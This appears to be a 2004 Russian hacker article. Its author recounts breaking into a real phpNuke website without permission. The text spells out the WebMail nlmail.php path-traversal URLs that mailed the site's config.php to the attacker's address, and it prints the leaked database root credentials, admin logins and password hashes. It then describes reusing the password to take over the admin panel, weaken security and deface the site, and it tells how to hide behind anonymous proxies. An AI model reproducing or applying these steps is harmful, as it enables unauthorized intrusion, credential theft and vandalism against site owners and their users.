Недавно я встретил довольно уже не новую статью по поводу уязвимостей в phpNuke, и меня эта тема заинтересовала. Как известно, функиональность phpNuke расширяется с помощью многочисленных модулей. Один из таких модулей, крайне противоречивый в плане безопасности, - WebMail. До одной неспокойной ночи я не был с ним знаком совершенно. Однако...

По привычке набираю в http://google.com/ ключевые слова с WebMail, выискиваю сайты, где этот модуль не обсуждается, а используется. Для меня очевидно, что статья Foster и ~MOBY~ "Взлом phpNuke" прогремела слишком громко, чтобы её не услышали даже самые отсталые администраторы. Но мне был интересен сам принцип работы модульной системы управления сайтами. И вот, я нахожу жертву, первый встретившийся сервер, ха, и весьма любопытной направленности.

Без промедления регистрируюсь у них на сайте, вхожу и начинаю изучать. Отмеченная в упомянутой выше статье уязвимость была связана с выполнением прикреплённых к письмам файлов в почтовом интерфейсе WebMail. Удивительно, но скрипт складывал все получаемые и отправляемые прикрепления в папку:

http://www.*****.org/modules/WebMail/attachments/

То есть папка с прикреплениями была доступна через Web, причём позволяла выполнение в ней скриптов! Более того, не заменяла имена прикреплений на заранее неизвестные пользователю, а оставляла с теми именами, которые указывал пользователь при составлении письма!

Однако, как я уже написал, администратор позаботился об устранении этой уязвимости. "В лоб" этот эксплоит не работал, поскольку функция прикрепления к письмам файлов была отключена, как было указано на сайте, для обеспечения безопасности. У меня не было сомнений, что, запретив эту функцию, сам скрипт существовал, ведь он является частью всего модуля WebMail, и администратор навряд ли стал бы уничтожать какие-то скрипты из этого пакета. Я попробовал вызвать скрипт прикрепления файла к письму напрямую:

http://www.*****.org/modules.php?name=WebMail&file=mailattach
и
http://www.*****.org/modules/WebMail/mailattach.php,

однако ничего не получилось. Скрипт, тем не менее, порадовал меня физическими путями, выдав следующие сообщения об ошибках:

Warning: main(../../config.php): failed to open stream: No such file or directory in /home/gk2/public_html/modules/WebMail/mailattach.php on line 21

Warning: main(): Failed opening '../../config.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/gk2/public_html/modules/WebMail/mailattach.php on line 21

Кстати, я не сказал о том, что ещё меня страшно порадовало в настройках этого сервера, http://www.*****.org/, - открытые логи. Правда, функционировали не все из них(папка оказалась открытой и я посмотрел дату изменения файлов), но был открыт cмешанный протокол:

http://www.*****.org/logs/combined_log

Благодаря ему мой скорбный труд был значительно облегчен. Все мои действия были видны. Кроме того, были видны запросы всех остальных пользователей, и всё это в реальном режиме времени. Совершая те или иные манипуляции, я изучал, как себя чувствует сервер. Поскольку Apache по умолчанию включает в отчёты код ошибки HTTP, я мог проконтролировать выполнение тех или иных скриптов. В связи с логами у меня в голове сверкнула мысль: в Apache 2 присутствует уязвимость. Если логи доступны для чтения, с помощью обыкновенного HTTP-запроса в их листинг можно внедрить код на PHP и он будет выполнен при просмотре этих логов! Сразу скажу, ничего у меня из этого не получилось. Присоединившись с помощью Internet Maniac к серверу и сделав "самодельный" запрос HTTP 1.1, я осознал, что Apache подловить мне не удастся, поскольку его версия была 1.3.хх.

Вот такие вещи были в логах:

68.102.159.211 - - [01/Jul/2003:17:15:31 -0500]
"GET /admin.php?op=gfx&random_num=644628 HTTP/1.1" 200 1387

(Чтобы таким образом не засветиться, сам я использовал китайский прокси, который работал страшно медленно, зато он был High-Anonymous; такие раздобыть можно на http://atomintersoft.com/products/alive-proxy/proxy-list/.)

Не буду описывать свои многочасовые блуждания по серверу. Опробовано было масса всего. Мне стало понятно, что, не зная устройство системы phpNuke, я ни к чему не приду. Поэтому я нашёл в интернете, где можно скачать сей пакет, а сам отправился читать отзывы пользователей...

Пакет phpNuke 6.5 я скачал с:

http://www.phpnuke.org/modules.php?name=Downloads

Почему я решил, что мне потребуется именно эта версия? Дело в том, что на несколкьих сайтах, занимающихся пропагандой phpNuke зарубежом и в России, было помещено замечание, что в свежей версии пакета отсутствует модуль WebMail по понятным причинам. Некий американец на форуме http://nukecops.com/modules.php?name=Forums заметил, что в его phpNuke 6.5 модуль WebMail работает некачественно, что-то там у этого модуля не ладится, и я смекнул, в какой версии нужно его искать...

Вообще, информации по WebMail было много. Начиная от малосодержательного http://bugs.nukecops.com/ и заканчивая отчётами сетевых журналов:
http://www.securitylab.ru/40671.html
http://www.theone.ru/lists/bugtraq/msg01095.html
http://security.nnov.ru/search/document.asp?docid=3995

И вот, три мегабайта архива у меня на компьютере, и я углубляюсь в чтение. После изучения исходных текстов нахожу главный файл, файл с ключевыми паролями: config.php в корневой директории(мы уже видели его раньше, в сообщениях об ошибке выше). Нахожу увиденный при запросе на составление письма nlmail.php - скрипт, отправляющий почту. И тут начинается самое интересное!

Больше всего меня потрясло вот это:
$attachment = $attachmentdir.$attachment;

Означать эта строка могла, что скрипту передаётся путь к файлу, который необходимо прикрепить. Там же есть и проверка наличия файла, однако запуск

http://www.*****.org/modules.php?name=WebMail&file=nlmail

не обнаруживает никакой ошибки, как раз нет, "письмо было отправлено".

Не выдумывая ничего оригинального, я просто начинаю догадываться:
http://www.*****.org/modules.php?name=WebMail&file=nlmail&attachment=config.php
http://www.*****.org/modules.php?name=WebMail&file=nlmail&attachment=../config.php
http://www.*****.org/modules.php?name=WebMail&file=nlmail&attachment=../../config.php
http://www.*****.org/modules.php?name=WebMail&file=nlmail&attachment=../../../config.php

СТОП! После сообщений об ошибке прикрепления файла к письму, получаю уведомление, что с отправкой всё в порядке. Теперь последний штришок - почта действительно должна куда-то приходить, поэтому указываю дополнительно свой подставной адрес:

http://www.*****.org/modules.php?name=WebMail&file=nlmail&attachment=../../../config.php&to=rustlik@front.ru

Ну и что же? Тут же получаю на почту config.php, из которого выбираю самое важное, относящееся к доступу к базе SQL, где лежат, в частности, логины и пароли администраторов сайта:

$dbhost="localhost";
$dbuname = "root";
$dbpass = "thom2632";
$dbname = "gk_nuke";
$prefix = "gk";
$user_prefix = "gk";
$dbtype = "MySQL";
$sitekey = "SdFk*fa28367-dm56w69.3a2fDS+e9";

Напомню читателям, что пароли от SQL не шифруются никогда. Всё дело в специфики обращения к базе. Шифрование без восстановления тут не может быть применено, потому что необходимо пересылать пароль в открытом виде при авторизации. Другое дело - пароль от Mail.ru, там его можно лишь сменить, потому что... Я надеюсь, вы поняли, почему.

Исходя из этой депеши, сооружаю скрипт доступа к MySQL со своего сервера вот так:

/mysql.cgi?host=*****.org&user=root&password=thom2632&db=gk_nuke&table=gk_authors

Результат следующий:

adminGod,http://www.*****.org,
webmaster@*****.org,516b139a7a82843b81025e6433d9cf3c,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,,

armourGod,http://www.*****.org,
webmaster@*****.org,516b139a7a82843b81025e6433d9cf3c,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,,

Поначалу я огорчился, что в системе phpNuke пароли шифруются MD5, однако этого следовало ожидать. И в статье Foster и ~MOBY~ об этом было. Когда они пишут о смене всех паролей в системе, фигурирует такая строка:

sql_query("UPDATE ${prefix}_authors SET pwd=MD5('gipshack')", $dbi);

Поэтому из результата запроса к SQL для меня самым важным является информация о логинах. Интуитивно понимаю, что постфикс -God говорит о привилегиях, которыми наделяется пользователь, а логины, соответственно, admin и armour. Чтобы не лукавить, скажу, что в самом начале своего путешествия по этому серверу в логах, вместе со своими, я встречал в логах этого armour, и только в этот момент понял, с кем я находился бок о бок.

Но есть такая привычка человека, ставшая избитой темой для ширпотребных хакерских описаний. Человеческая привычка. Опять же, у меня не было никаких сомнений, что столь сложная конструкция, пароль thom2632, используемый для доступа к SQL, не является уникальным в этой системе. Он мог подходить и для управления сайтом по FTP(логин root?), и для администрирования системой phpNuke. Я не ошибся. В систему администрирования
http://www.*****.org/admin.php?

я попал со следующими аутентификационными данными:

логин: armour
пароль: thom2632

Дальше - дело техники. Я не сразу сообразил, что мне делать с сайтом и чем заняться далее. Включаю возможность прикрепления файлов к письмам. Меняю настройки языков, устанавливая основным - русский. Политику защиты кардинально меняю, позволяя пользователям делать максимум возможного в phpNuke. Меняю внешний вид сайта, делаю соответствующие размашистые надписи. Собственно, основная цель взлома - изучение чужой системы, самое обыкновенное любопытство...

Что можно было ещё сделать? Да всё, что угодно. Начиная с пробивания паролей к FTP, через уже разрешённые прикрепления к письмам закачивания эксплоита(см. неоднократно упомянутую статью), заканчивая массовой рассылкой злорадствующего содержания и развешиванией портрета президента Bush Jr. Но сон меня сломил, и я не стал больше ничего делать с несчастным сайтом.

21.02.2004
4пальца

обсудить  |  все отзывы (0)
Выберите оценку 10 (изумительно) 9 (отлично) 8 (хорошо) 7 (неплохо) 6 (средненько) 5 (сойдет) 4 (так себе) 3 (слабо) 2 (плохо) 1 (отвратительно) Вернуться в раздел Перейти к рейтингу Перейти к обсуждению Вернуться к статье	[22260; 29; 5.65]